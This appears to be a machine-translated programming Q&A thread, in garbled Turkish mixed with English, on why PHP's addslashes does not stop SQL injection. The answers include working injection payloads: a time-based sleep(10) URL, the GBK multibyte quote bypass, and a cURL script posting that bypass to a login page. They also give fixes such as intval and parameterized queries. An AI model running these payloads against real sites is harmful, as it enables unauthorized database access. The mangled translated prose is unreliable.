Addslashes üzerinden SQL Enjeksiyonlar örnekleri arasında (?)

5 Cevap php

In PHP, I know that mysql_real_escape is much safer than using addslashes. However, I could not find an example of a situation where addslashes would let an SQL Injection happen.

Herkes bazı örnekler verebilir misiniz?

5 Cevap

Peki, here's the article you want.

Temelde, saldırı çalıştığını yolu addslashes() ters eğik geçerli bir çokbaytlı parçası olmanın anlamını kaybeder böyle bir çokbaytlı karakterin ortasında bir ters eğik çizgi koymak alma gereğidir.

Makalesinden genel uyarı:

This type of attack is possible with any character encoding where there is a valid multi-byte character that ends in 0x5c, because addslashes() can be tricked into creating a valid multi-byte character instead of escaping the single quote that follows. UTF-8 does not fit this description.

Burada hem addslashes () ve magic_quotes_gpc atlar SQL Injection bir örnektir:

<?php
mysql_connect("localhost","root","");
if(get_magic_quotes_gpc()){
    $max=$_GET['max'];
}else{
    $max=addslashes($_GET['max']);
}
print "select * from mysql.user where max_connections=".$max;
$q=mysql_query("select * from mysql.user where max_connections=".$max);
$a=mysql_fetch_array($q);
print_r($a);
?>

PoC Exploit:

http://localhost/escape_test.php?max=0+and+sleep(10)

Sonuç böylece sorgu ve tüm sayfanın yük geciktirerek, 10 saniye boyunca uyku veritabanı zorlar olmasıdır.

There are 2 patches for this vulnerability.
The strongest patch is to force the value to be an integer. Integer values don't require quote marks in most languages.

$q=mysql_query("select * from mysql.user where max_connections=".intval($max));

Bu, zayıf olarak kabul edilir bir yamadır. Nedeniyle dil kodlaması için SQL enjeksiyonu bu belki savunmasız durumlar vardır.

$q=mysql_query("select * from mysql.user where max_connections='".$max."'"));

Alıntı işaretleri bir değişkeni örtmek için kullanılır, SQL enjeksiyon patlak ve veritabanı kod yürütme ile ilgili. Eğer saldırgan kontrolleri, daha sonra saldırgan "patlak" zorunda olmadığı bir değişken tırnak koymak yoksa.

PDO veya ADODB biriyle parametrized sorguları kullanmanız gerekir. Bu benim bildiğim en aptal kanıt yöntemdir.

Chris Shiflett açıkça feryat örnek ile açıklar, bu irade-elbette iş veritabanındaki GBK kodlama kullanırken bunu deneyin eğer. Ben bile çok daha az olsa bile, SQL enjeksiyon için şansı var, bu kanıtlıyor, denedim, ama iyi bilgi ve yeteneği olan birinin kolayca enjekte edebilir. İşte bir örnek ...

<?php 

       $mysql = array();
       $db = mysqli_init();
       $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');

       /* SQL Injection Example */

       $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
       $_POST['password'] = 'guess';

       $mysql['username'] = addslashes($_POST['username']);
       $mysql['password'] = addslashes($_POST['password']);

       $sql = "SELECT * FROM   users
               WHERE username = '{$mysql['username']}'
               AND password = '{$mysql['password']}'";

       $result = $db->query($sql);

       if ($result->num_rows) {
              /* Success */
       } else {
              /* Failure */
       }

?>

Addslashes () veya magic_quotes_gpc kullanımı normalde biraz güvenli olarak kabul edilebilir olsa da, GBK kullanımının yararsız yakın hale getirmek olacaktır. Aşağıdaki PHP cURL komut enjeksiyonu yararlanmak mümkün olacaktır, ben bu anlamak için size biraz daha fazla yardımcı olacağını umuyoruz:

<?php

       $url     = "http://www.victimsite.com/login.php";
       $ref     = "http://www.victimsite.com/index.php";
       $session = "PHPSESSID=abcdef01234567890abcdef01";

       $ch      = curl_init();

       curl_setopt( $ch, CURLOPT_URL,            $url     );
       curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
       curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
       curl_setopt( $ch, CURLOPT_COOKIE,         $session );
       curl_setopt( $ch, CURLOPT_POST,           TRUE     );
       curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                                 "OR 1=1/*&submit=1" );

       $data = curl_exec( $ch );

       print( $data );
       curl_close( $ch );
 ?>

Cevapları burada okuyucular için ek olarak: Bu MySQL hata zaten sabit olmuştur :)

Ayrıca, hazırlanmış ifadeler kullanmak her zaman iyi bir uygulamadır. Bu (en ölçülebilir çeşitli kullanım durumlarda, ve) sorguları atabileceği en yararlanmaya-ücretsiz bir yoldur. Ve bu kusur sizi kaydedilmiş olurdu.

İki şartlar yerine getirildiğinde ben test etmek için küçük bir kod parçası ile aynı soruyu yapılan diğer gün, şimdiye kadar addslashes atlamak için bir yol bulmak mümkün değil:

  • charset utf8 olduğunda
  • Değişken'' tek tırnak içine zaman

Bu durumda dahi addlashes bypass olabilir ama internette bu tek bir kanıt bulmak mümkün olmamıştır.

Benim soru bu oldu, belki daha fazla test için sağlanan kodu ile yararlı olacak here